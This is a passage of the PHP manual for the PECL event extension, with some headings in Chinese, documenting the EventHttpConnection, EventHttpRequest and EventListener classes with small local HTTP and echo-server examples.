* Connection: close
*
* The server will output something similar to the following:
*
* HTTP/1.0 200 OK
* Content-Type: multipart/x-mixed-replace;boundary=boundarydonotcross
* Connection: close
*
* <html>
*
* 3) Terminate the client connection abruptly,
* i.e. kill the process, or just press Ctrl-C.
*
* 4) Check if the server called _close_callback.
* The script should output "_close_callback" string to standard output.
*
* 5) Check if the server's process has no orphaned connections,
* e.g. with `lsof` utility.
*/

function _close_callback($conn)
{
echo __FUNCTION__, PHP_EOL;
}

function _http_default($req, $dummy)
{
$conn = $req->getConnection();
$conn->setCloseCallback('_close_callback', NULL);

/*
By enabling Event::READ we protect the server against unclosed conections.
This is a peculiarity of Libevent. The library disables Event::READ events
on this connection, and the server is not notified about terminated
connections.

So each time client terminates connection abruptly, we get an orphaned
connection. For instance, the following is a part of `lsof -p $PID | grep TCP`
command after client has terminated connection:

57-php 15057 ruslan 6u unix 0xffff8802fb59c780 0t0 125187 socket
58:php 15057 ruslan 7u IPv4 125189 0t0 TCP *:4242 (LISTEN)
59:php 15057 ruslan 8u IPv4 124342 0t0 TCP localhost:4242->localhost:37375 (CLOSE_WAIT)

where $PID is our process ID.

The following block of code fixes such kind of orphaned connections.
*/
$bev = $req->getBufferEvent();
$bev->enable(Event::READ);
// We have to free it explicitly. See
EventHttpRequest::getConnection()
$bev->free(); // we have to free it explicitly

$req->addHeader(
'Content-Type',
'multipart/x-mixed-replace;boundary=boundarydonotcross',
EventHttpRequest::OUTPUT_HEADER
);

$buf = new EventBuffer();
$buf->add('<html>');

$req->sendReply(200, "OK");
$req->sendReplyChunk($buf);
}

$port = 4242;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setDefaultCallback("_http_default", NULL);
$http->bind("0.0.0.0", $port);
$base->loop();

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the IP address from which HTTP connections are made

  • ? EventHttpConnection::setCloseCallback
  • EventHttpConnection::setLocalPort ?
  • PHP Manual
  • EventHttpConnection
  • Sets the IP address from which HTTP connections are made

EventHttpConnection::setLocalAddress

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made

说明

public EventHttpConnection::setLocalAddress( string $address ): void

Sets the IP address from which http connections are made.

参数

address

The IP address from which HTTP connections are made.

返回值

没有返回值。

参见

  • EventHttpConnection::setLocalPort() - Sets the local port from which connections are made

User Contributed Notes

There are no user contributed notes for this page.


Sets the local port from which connections are made

  • ? EventHttpConnection::setLocalAddress
  • EventHttpConnection::setMaxBodySize ?
  • PHP Manual
  • EventHttpConnection
  • Sets the local port from which connections are made

EventHttpConnection::setLocalPort

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalPort — Sets the local port from which connections are made

说明

public EventHttpConnection::setLocalPort( int $port ): void

Sets the local port from which connections are made.

参数

port

The port number.

返回值

参见

  • EventHttpConnection::setLocalAddress() - Sets the IP address from which HTTP connections are made

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum body size for the connection

  • ? EventHttpConnection::setLocalPort
  • EventHttpConnection::setMaxHeadersSize ?
  • PHP Manual
  • EventHttpConnection
  • Sets maximum body size for the connection

EventHttpConnection::setMaxBodySize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection

说明

public EventHttpConnection::setMaxBodySize( string $max_size ): void

Sets maximum body size for the connection.

参数

max_size

The maximum body size in bytes.

返回值

没有返回值。

参见

  • EventHttpConnection::setMaxHeadersSize() - Sets maximum header size

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum header size

  • ? EventHttpConnection::setMaxBodySize
  • EventHttpConnection::setRetries ?
  • PHP Manual
  • EventHttpConnection
  • Sets maximum header size

EventHttpConnection::setMaxHeadersSize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxHeadersSize — Sets maximum header size

说明

public EventHttpConnection::setMaxHeadersSize( string $max_size ): void

Sets maximum header size for the connection.

参数

max_size

The maximum header size in bytes.

返回值

没有返回值。

参见

  • EventHttpConnection::setMaxBodySize() - Sets maximum body size for the connection

User Contributed Notes

There are no user contributed notes for this page.


Sets the retry limit for the connection

  • ? EventHttpConnection::setMaxHeadersSize
  • EventHttpConnection::setTimeout ?
  • PHP Manual
  • EventHttpConnection
  • Sets the retry limit for the connection

EventHttpConnection::setRetries

(PECL event >= 1.2.6-beta)

EventHttpConnection::setRetries — Sets the retry limit for the connection

说明

public EventHttpConnection::setRetries( int $retries ): void

Sets the retry limit for the connection

参数

retries

The retry limit. -1 means infinity.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Sets the timeout for the connection

  • ? EventHttpConnection::setRetries
  • EventHttpRequest ?
  • PHP Manual
  • EventHttpConnection
  • Sets the timeout for the connection

EventHttpConnection::setTimeout

(PECL event >= 1.2.6-beta)

EventHttpConnection::setTimeout — Sets the timeout for the connection

说明

public EventHttpConnection::setTimeout( int $timeout ): void

Sets the timeout for the connection

参数

timeout

Timeout in seconds.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EventHttpRequest class

(PECL event >= 1.4.0-beta)

简介

Represents an HTTP request.

类摘要

class EventHttpRequest {
/* 常量 */
const int CMD_GET = 1;
const int CMD_POST = 2;
const int CMD_HEAD = 4;
const int CMD_PUT = 8;
const int CMD_DELETE = 16;
const int CMD_OPTIONS = 32;
const int CMD_TRACE = 64;
const int CMD_CONNECT = 128;
const int CMD_PATCH = 256;
const int INPUT_HEADER = 1;
const int OUTPUT_HEADER = 2;
/* 方法 */
public addHeader( string $key , string $value , int $type ): bool
public cancel(): void
public clearHeaders(): void
public closeConnection(): void
public __construct( callable $callback , mixed $data = null )
public findHeader( string $key , string $type ): void
public free(): void
public closeConnection(): EventBufferEvent
public getCommand(): void
public closeConnection(): EventHttpConnection
public getHost(): string
public getInputBuffer(): EventBuffer
public getInputHeaders(): array
public getOutputBuffer(): EventBuffer
public getOutputHeaders(): void
public getResponseCode(): int
public getUri(): string
public removeHeader( string $key , string $type ): void
public sendError( int $error , string $reason = null ): void
public sendReply( int $code , string $reason , EventBuffer $buf = ?): void
public sendReplyChunk( EventBuffer $buf ): void
public sendReplyEnd(): void
public sendReplyStart( int $code , string $reason ): void
}

预定义常量

EventHttpRequest::CMD_GET

GET method(command)

EventHttpRequest::CMD_POST

POST method(command)

EventHttpRequest::CMD_HEAD

HEAD method(command)

EventHttpRequest::CMD_PUT

PUT method(command)

EventHttpRequest::CMD_DELETE

DELETE command(method)

EventHttpRequest::CMD_OPTIONS

OPTIONS method(command)

EventHttpRequest::CMD_TRACE

TRACE method(command)

EventHttpRequest::CMD_CONNECT

CONNECT method(command)

EventHttpRequest::CMD_PATCH

PATCH method(command)

EventHttpRequest::INPUT_HEADER

Request input header type.

EventHttpRequest::OUTPUT_HEADER

Request output header type.

Table of Contents

  • EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request
  • EventHttpRequest::cancel — Cancels a pending HTTP request
  • EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request
  • EventHttpRequest::closeConnection — Closes associated HTTP connection
  • EventHttpRequest::__construct — Constructs EventHttpRequest object
  • EventHttpRequest::findHeader — Finds the value belonging a header
  • EventHttpRequest::free — Frees the object and removes associated events
  • EventHttpRequest::getBufferEvent — Returns EventBufferEvent object
  • EventHttpRequest::getCommand — Returns the request command(method)
  • EventHttpRequest::getConnection — Returns EventHttpConnection object
  • EventHttpRequest::getHost — Returns the request host
  • EventHttpRequest::getInputBuffer — Returns the input buffer
  • EventHttpRequest::getInputHeaders — Returns associative array of the input headers
  • EventHttpRequest::getOutputBuffer — Returns the output buffer of the request
  • EventHttpRequest::getOutputHeaders — Returns associative array of the output headers
  • EventHttpRequest::getResponseCode — Returns the response code
  • EventHttpRequest::getUri — Returns the request URI
  • EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request
  • EventHttpRequest::sendError — Send an HTML error message to the client
  • EventHttpRequest::sendReply — Send an HTML reply to the client
  • EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply
  • EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate
  • EventHttpRequest::sendReplyStart — Initiate a chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Adds an HTTP header to the headers of the request

  • ? EventHttpRequest
  • EventHttpRequest::cancel ?
  • PHP Manual
  • EventHttpRequest
  • Adds an HTTP header to the headers of the request

EventHttpRequest::addHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request

说明

public EventHttpRequest::addHeader( string $key , string $value , int $type ): bool

Adds an HTTP header to the headers of the request.

参数

key

Header name.

value

Header value.

type

One of EventHttpRequest::*_HEADER constants .

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventHttpRequest::removeHeader() - Removes an HTTP header from the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Cancels a pending HTTP request

  • ? EventHttpRequest::addHeader
  • EventHttpRequest::clearHeaders ?
  • PHP Manual
  • EventHttpRequest
  • Cancels a pending HTTP request

EventHttpRequest::cancel

(PECL event >= 1.4.0-beta)

EventHttpRequest::cancel — Cancels a pending HTTP request

说明

public EventHttpRequest::cancel(): void

Cancels a pending HTTP request.

Cancels an ongoing HTTP request. The callback associated with this request is not executed and the request object is freed. If the request is currently being processed, e.g. it is ongoing, the corresponding EventHttpConnection object is going to get reset.

A request cannot be canceled if its callback has executed already. A request may be canceled reentrantly from its chunked callback.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Removes all output headers from the header list of the request

  • ? EventHttpRequest::cancel
  • EventHttpRequest::closeConnection ?
  • PHP Manual
  • EventHttpRequest
  • Removes all output headers from the header list of the request

EventHttpRequest::clearHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request

说明

public EventHttpRequest::clearHeaders(): void

Removes all output headers from the header list of the request.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Closes associated HTTP connection

  • ? EventHttpRequest::clearHeaders
  • EventHttpRequest::__construct ?
  • PHP Manual
  • EventHttpRequest
  • Closes associated HTTP connection

EventHttpRequest::closeConnection

(PECL event >= 1.8.0)

EventHttpRequest::closeConnection — Closes associated HTTP connection

说明

public EventHttpRequest::closeConnection(): void

Closes HTTP connection associated with the request.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttpRequest object

  • ? EventHttpRequest::closeConnection
  • EventHttpRequest::findHeader ?
  • PHP Manual
  • EventHttpRequest
  • Constructs EventHttpRequest object

EventHttpRequest::__construct

(PECL event >= 1.4.0-beta)

EventHttpRequest::__construct — Constructs EventHttpRequest object

说明

public EventHttpRequest::__construct( callable $callback , mixed $data = null )

Constructs EventHttpRequest object.

参数

callback

Gets invoked on requesting path. Should match the following prototype:

callback( EventHttpRequest $req = null , mixed $arg = null ): void
data

User custom data passed to the callback.

返回值

Returns EventHttpRequest object.

示例

Example #1 EventHttpRequest::__construct() example

<?php

function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

参见

  • EventHttpRequest::cancel() - Cancels a pending HTTP request
  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Finds the value belonging a header

  • ? EventHttpRequest::__construct
  • EventHttpRequest::free ?
  • PHP Manual
  • EventHttpRequest
  • Finds the value belonging a header

EventHttpRequest::findHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::findHeader — Finds the value belonging a header

说明

public EventHttpRequest::findHeader( string $key , string $type ): void

Finds the value belonging a header.

参数

key

The header name.

type

One of EventHttpRequest::*_HEADER constants .

返回值

Returns null if header not found.

参见

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Frees the object and removes associated events

  • ? EventHttpRequest::findHeader
  • EventHttpRequest::getBufferEvent ?
  • PHP Manual
  • EventHttpRequest
  • Frees the object and removes associated events

EventHttpRequest::free

(PECL event >= 1.4.0-beta)

EventHttpRequest::free — Frees the object and removes associated events

说明

public EventHttpRequest::free(): void

Frees the object and removes associated events.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns EventBufferEvent object

  • ? EventHttpRequest::free
  • EventHttpRequest::getCommand ?
  • PHP Manual
  • EventHttpRequest
  • Returns EventBufferEvent object

EventHttpRequest::getBufferEvent

(PECL event >= 1.8.0)

EventHttpRequest::getBufferEvent — Returns EventBufferEvent object

说明

public EventHttpRequest::closeConnection(): EventBufferEvent

Returns EventBufferEvent object which represents buffer event that the connection is using.

Warning

The reference counter of the returned object will be incremented by one to protect internal structures against premature destruction when the method is called from a user callback. So the EventBufferEvent object should be freed explicitly with EventBufferEvent::free() method. Otherwise memory will leak.

参数

此函数没有参数。

返回值

Returns EventBufferEvent object.

参见

  • EventHttpRequest::getConnection() - Returns EventHttpConnection object

User Contributed Notes

There are no user contributed notes for this page.


Returns the request command(method)

  • ? EventHttpRequest::getBufferEvent
  • EventHttpRequest::getConnection ?
  • PHP Manual
  • EventHttpRequest
  • Returns the request command(method)

EventHttpRequest::getCommand

(PECL event >= 1.4.0-beta)

EventHttpRequest::getCommand — Returns the request command(method)

说明

public EventHttpRequest::getCommand(): void

Returns the request command, one of EventHttpRequest::CMD_* constants.

参数

此函数没有参数。

返回值

Returns the request command, one of EventHttpRequest::CMD_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns EventHttpConnection object

  • ? EventHttpRequest::getCommand
  • EventHttpRequest::getHost ?
  • PHP Manual
  • EventHttpRequest
  • Returns EventHttpConnection object

EventHttpRequest::getConnection

(PECL event >= 1.8.0)

EventHttpRequest::getConnection — Returns EventHttpConnection object

说明

public EventHttpRequest::closeConnection(): EventHttpConnection

Returns EventHttpConnection object which represents HTTP connection associated with the request.

Warning

Libevent API allows HTTP request objects to be not bound to any HTTP connection. Therefore we can't unambiguously associate EventHttpRequest with EventHttpConnection . Thus, we construct EventHttpConnection object on-the-fly. Having no information about the event base, DNS base and connection-close callback, we just leave these fields unset.

EventHttpRequest::getConnection() method is usually useful when we need to set up a callback on connection close. See EventHttpConnection::setCloseCallback() .

参数

此函数没有参数。

返回值

Returns EventHttpConnection object.

参见

  • EventHttpConnection::setCloseCallback() - Set callback for connection close
  • EventHttpRequest::getBufferEvent() - Returns EventBufferEvent object

User Contributed Notes

There are no user contributed notes for this page.


Returns the request host

  • ? EventHttpRequest::getConnection
  • EventHttpRequest::getInputBuffer ?
  • PHP Manual
  • EventHttpRequest
  • Returns the request host

EventHttpRequest::getHost

(PECL event >= 1.4.0-beta)

EventHttpRequest::getHost — Returns the request host

说明

public EventHttpRequest::getHost(): string

Returns the request host.

参数

此函数没有参数。

返回值

Returns the request host.

参见

  • EventHttpRequest::getUri() - Returns the request URI
  • EventHttpRequest::getCommand() - Returns the request command(method)

User Contributed Notes

There are no user contributed notes for this page.


Returns the input buffer

  • ? EventHttpRequest::getHost
  • EventHttpRequest::getInputHeaders ?
  • PHP Manual
  • EventHttpRequest
  • Returns the input buffer

EventHttpRequest::getInputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputBuffer — Returns the input buffer

说明

public EventHttpRequest::getInputBuffer(): EventBuffer

Returns the input buffer.

参数

此函数没有参数。

返回值

Returns the input buffer.

参见

  • EventHttpRequest::getOutputBuffer() - Returns the output buffer of the request

User Contributed Notes

There are no user contributed notes for this page.


Returns associative array of the input headers

  • ? EventHttpRequest::getInputBuffer
  • EventHttpRequest::getOutputBuffer ?
  • PHP Manual
  • EventHttpRequest
  • Returns associative array of the input headers

EventHttpRequest::getInputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputHeaders — Returns associative array of the input headers

说明

public EventHttpRequest::getInputHeaders(): array

Returns associative array of the input headers.

参数

此函数没有参数。

返回值

Returns associative array of the input headers.

参见

  • EventHttpRequest::getOutputHeaders() - Returns associative array of the output headers

User Contributed Notes

There are no user contributed notes for this page.


Returns the output buffer of the request

  • ? EventHttpRequest::getInputHeaders
  • EventHttpRequest::getOutputHeaders ?
  • PHP Manual
  • EventHttpRequest
  • Returns the output buffer of the request

EventHttpRequest::getOutputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputBuffer — Returns the output buffer of the request

说明

public EventHttpRequest::getOutputBuffer(): EventBuffer

Returns the output buffer of the request.

参数

此函数没有参数。

返回值

Returns the output buffer of the request.

参见

  • EventHttpRequest::getInputBuffer() - Returns the input buffer

User Contributed Notes

There are no user contributed notes for this page.


Returns associative array of the output headers

  • ? EventHttpRequest::getOutputBuffer
  • EventHttpRequest::getResponseCode ?
  • PHP Manual
  • EventHttpRequest
  • Returns associative array of the output headers

EventHttpRequest::getOutputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputHeaders — Returns associative array of the output headers

说明

public EventHttpRequest::getOutputHeaders(): void

Returns associative array of the output headers.

参数

此函数没有参数。

返回值

参见

  • EventHttpRequest::getInputHeaders() - Returns associative array of the input headers

User Contributed Notes

There are no user contributed notes for this page.


Returns the response code

  • ? EventHttpRequest::getOutputHeaders
  • EventHttpRequest::getUri ?
  • PHP Manual
  • EventHttpRequest
  • Returns the response code

EventHttpRequest::getResponseCode

(PECL event >= 1.4.0-beta)

EventHttpRequest::getResponseCode — Returns the response code

说明

public EventHttpRequest::getResponseCode(): int

Returns the response code.

参数

此函数没有参数。

返回值

Returns the response code of the request.

参见

  • EventHttpRequest::getCommand() - Returns the request command(method)
  • EventHttpRequest::getHost() - Returns the request host
  • EventHttpRequest::getUri() - Returns the request URI

User Contributed Notes

There are no user contributed notes for this page.


Returns the request URI

  • ? EventHttpRequest::getResponseCode
  • EventHttpRequest::removeHeader ?
  • PHP Manual
  • EventHttpRequest
  • Returns the request URI

EventHttpRequest::getUri

(PECL event >= 1.4.0-beta)

EventHttpRequest::getUri — Returns the request URI

说明

public EventHttpRequest::getUri(): string

Returns the request URI

参数

此函数没有参数。

返回值

Returns the request URI

参见

  • EventHttpRequest::getCommand() - Returns the request command(method)
  • EventHttpRequest::getHost() - Returns the request host
  • EventHttpRequest::getResponseCode() - Returns the response code

User Contributed Notes

There are no user contributed notes for this page.


Removes an HTTP header from the headers of the request

  • ? EventHttpRequest::getUri
  • EventHttpRequest::sendError ?
  • PHP Manual
  • EventHttpRequest
  • Removes an HTTP header from the headers of the request

EventHttpRequest::removeHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request

说明

public EventHttpRequest::removeHeader( string $key , string $type ): void

Removes an HTTP header from the headers of the request.

参数

key

The header name.

type

type is one of EventHttpRequest::*_HEADER constants.

返回值

Removes an HTTP header from the headers of the request.

参见

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Send an HTML error message to the client

  • ? EventHttpRequest::removeHeader
  • EventHttpRequest::sendReply ?
  • PHP Manual
  • EventHttpRequest
  • Send an HTML error message to the client

EventHttpRequest::sendError

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendError — Send an HTML error message to the client

说明

public EventHttpRequest::sendError( int $error , string $reason = null ): void

Send an HTML error message to the client.

参数

error

The HTTP error code.

reason

A brief explanation ofthe error. If null, the standard meaning of the error code will be used.

返回值

没有返回值。

示例

Example #1 EventHttpRequest::sendError() example

<?php
function _http_400($req) {
$req->sendError(400);
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setCallback("/err400", "_http_400");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

参见

  • EventHttpRequest::sendReply() - Send an HTML reply to the client

User Contributed Notes

There are no user contributed notes for this page.


Send an HTML reply to the client

  • ? EventHttpRequest::sendError
  • EventHttpRequest::sendReplyChunk ?
  • PHP Manual
  • EventHttpRequest
  • Send an HTML reply to the client

EventHttpRequest::sendReply

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReply — Send an HTML reply to the client

说明

public EventHttpRequest::sendReply( int $code , string $reason , EventBuffer $buf = ?): void

Send an HTML reply to the client. The body of the reply consists of data in optional buf parameter.

参数

code

The HTTP response code to send.

reason

A brief message to send with the response code.

buf

The body of the response.

返回值

没有返回值。

参见

  • EventHttpRequest::sendError() - Send an HTML error message to the client
  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Send another data chunk as part of an ongoing chunked reply

  • ? EventHttpRequest::sendReply
  • EventHttpRequest::sendReplyEnd ?
  • PHP Manual
  • EventHttpRequest
  • Send another data chunk as part of an ongoing chunked reply

EventHttpRequest::sendReplyChunk

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply

说明

public EventHttpRequest::sendReplyChunk( EventBuffer $buf ): void

Send another data chunk as part of an ongoing chunked reply. After calling this method buf will be empty.

参数

buf

The data chunk to send as part of the reply.

返回值

没有返回值。

参见

  • EventHttpRequest::sendReplyStart() - Initiate a chunked reply
  • EventHttpRequest::sendReplyEnd() - Complete a chunked reply, freeing the request as appropriate

User Contributed Notes

There are no user contributed notes for this page.


Complete a chunked reply, freeing the request as appropriate

  • ? EventHttpRequest::sendReplyChunk
  • EventHttpRequest::sendReplyStart ?
  • PHP Manual
  • EventHttpRequest
  • Complete a chunked reply, freeing the request as appropriate

EventHttpRequest::sendReplyEnd

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate

说明

public EventHttpRequest::sendReplyEnd(): void

Complete a chunked reply, freeing the request as appropriate.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EventHttpRequest::sendReplyStart() - Initiate a chunked reply
  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Initiate a chunked reply

  • ? EventHttpRequest::sendReplyEnd
  • EventListener ?
  • PHP Manual
  • EventHttpRequest
  • Initiate a chunked reply

EventHttpRequest::sendReplyStart

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyStart — Initiate a chunked reply

说明

public EventHttpRequest::sendReplyStart( int $code , string $reason ): void

Initiate a reply that uses Transfer-Encoding chunked .

This allows the caller to stream the reply back to the client and is useful when either not all of the reply data is immediately available or when sending very large replies.

The caller needs to supply data chunks with EventHttpRequest::sendReplyChunk() and complete the reply by calling EventHttpRequest::sendReplyEnd() .

参数

code

The HTTP response code to send.

reason

A brief message to send with the response code.

返回值

没有返回值。

参见

  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply
  • EventHttpRequest::sendReplyEnd() - Complete a chunked reply, freeing the request as appropriate

User Contributed Notes

There are no user contributed notes for this page.


The EventListener class

(PECL event >= 1.5.0)

简介

Represents a connection listener.

类摘要

final class EventListener {
/* 常量 */
const int OPT_LEAVE_SOCKETS_BLOCKING = 1;
const int OPT_CLOSE_ON_FREE = 2;
const int OPT_CLOSE_ON_EXEC = 4;
const int OPT_REUSEABLE = 8;
const int OPT_THREADSAFE = 16;
/* 属性 */
public readonly int $fd;
/* 方法 */
public __construct(
EventBase $base ,
callable $cb ,
mixed $data ,
int $flags ,
int $backlog ,
mixed $target
)
public disable(): bool
public enable(): bool
public getBase(): void
public static getSocketName( string &$address , mixed &$port = ?): bool
public setCallback( callable $cb , mixed $arg = null ): void
public setErrorCallback( string $cb ): void
}

属性

fd

Numeric file descriptor of the underlying socket. (Added in event-1.6.0 .)

预定义常量

EventListener::OPT_LEAVE_SOCKETS_BLOCKING

By default Libevent turns underlying file descriptors, or sockets, to non-blocking mode. This flag tells Libevent to leave them in blocking mode.

EventListener::OPT_CLOSE_ON_FREE

If this option is set, the connection listener closes its underlying socket when the EventListener object is freed.

EventListener::OPT_CLOSE_ON_EXEC

If this option is set, the connection listener sets the close-on-exec flag on the underlying listener socket. See platform documentation for fcntl and FD_CLOEXEC for more information.

EventListener::OPT_REUSEABLE

By default on some platforms, once a listener socket is closed, no other socket can bind to the same port until a while has passed. Setting this option makes Libevent mark the socket as reusable, so that once it is closed, another socket can be opened to listen on the same port.

EventListener::OPT_THREADSAFE

Allocate locks for the listener, so that it's safe to use it from multiple threads.

Table of Contents

  • EventListener::__construct — Creates new connection listener associated with an event base
  • EventListener::disable — Disables an event connect listener object
  • EventListener::enable — Enables an event connect listener object
  • EventListener::getBase — Returns event base associated with the event listener
  • EventListener::getSocketName — Retreives the current address to which the listener's socket is bound
  • EventListener::setCallback — The setCallback purpose
  • EventListener::setErrorCallback — Set event listener's error callback

User Contributed Notes

There are no user contributed notes for this page.


Creates new connection listener associated with an event base

  • ? EventListener
  • EventListener::disable ?
  • PHP Manual
  • EventListener
  • Creates new connection listener associated with an event base

EventListener::__construct

(PECL event >= 1.2.6-beta)

EventListener::__construct — Creates new connection listener associated with an event base

说明

public EventListener::__construct(
EventBase $base ,
callable $cb ,
mixed $data ,
int $flags ,
int $backlog ,
mixed $target
)

Creates new connection listener associated with an event base.

参数

base

Associated event base.

cb

A callable that will be invoked when new connection received.

data

Custom user data attached to cb .

flags

Bit mask of EventListener::OPT_* constants. See EventListener constants .

backlog

Controls the maximum number of pending connections that the network stack should allow to wait in a not-yet-accepted state at any time; see documentation for your system's listen function for more details. If backlog is negative, Libevent tries to pick a good value for the backlog ; if it is zero, Event assumes that listen is already called on the socket( target )

target

May be string, socket resource, or a stream associated with a socket. In case if target is a string, the string will be parsed as network address. It will be interpreted as a UNIX domain socket path, if prefixed with 'unix:' , e.g. 'unix:/tmp/my.sock' .

返回值

Returns EventListener object representing the event connection listener.

更新日志

版本 | 说明
PECL event 1.5.0 | UNIX domain sockets' support added.

示例

Example #1 EventListener::__construct() example

<?php
/*
* Simple echo server based on libevent's connection listener.
*
* Usage:
* 1) In one terminal window run:
*
* $ php listener.php 9881
*
* 2) In another terminal window open up connection, e.g.:
*
* $ nc 127.0.0.1 9881
*
* 3) start typing. The server should repeat the input.
*/

class MyListenerConnection {
private $bev, $base;

public function __destruct() {
$this->bev->free();
}

public function __construct($base, $fd) {
$this->base = $base;

$this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

$this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
array($this, "echoEventCallback"), NULL);

if (!$this->bev->enable(Event::READ)) {
echo "Failed to enable READ\n";
return;
}
}

public function echoReadCallback($bev, $ctx) {
// Copy all the data from the input buffer to the output buffer

// Variant #1
$bev->output->addBuffer($bev->input);

/* Variant #2 */
/*
$input = $bev->getInput();
$output = $bev->getOutput();
$output->addBuffer($input);
*/
}

public function echoEventCallback($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
echo "Error from bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
//$bev->free();
$this->__destruct();
}
}
}

class MyListener {
public $base,
$listener,
$socket;
private $conn = array();

public function __destruct() {
foreach ($this->conn as &$c) $c = NULL;
}

public function __construct($port) {
$this->base = new EventBase();
if (!$this->base) {
echo "Couldn't open event base";
exit(1);
}

// Variant #1
/*
$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!socket_bind($this->socket, '0.0.0.0', $port)) {
echo "Unable to bind socket\n";
exit(1);
}
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1, $this->socket);
*/

// Variant #2
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
"0.0.0.0:$port");

if (!$this->listener) {
echo "Couldn't create listener";
exit(1);
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}

public function dispatch() {
$this->base->dispatch();
}

// This callback is invoked when there is data to read on $bev
public function acceptConnCallback($listener, $fd, $address, $ctx) {
// We got a new connection! Set up a bufferevent for it. */
$base = $this->base;
$this->conn[] = new MyListenerConnection($base, $fd);
}

public function accept_error_cb($listener, $ctx) {
$base = $this->base;

fprintf(STDERR, "Got an error %d (%s) on the listener. "
."Shutting down.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$base->exit(NULL);
}
}

$port = 9808;

if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

User Contributed Notes

info-phpnet at ch2o dot info 11-Nov-2014 02:04
Warning EventListener::OPT_CLOSE_ON_FREE is forced when you transmit a "target" string.

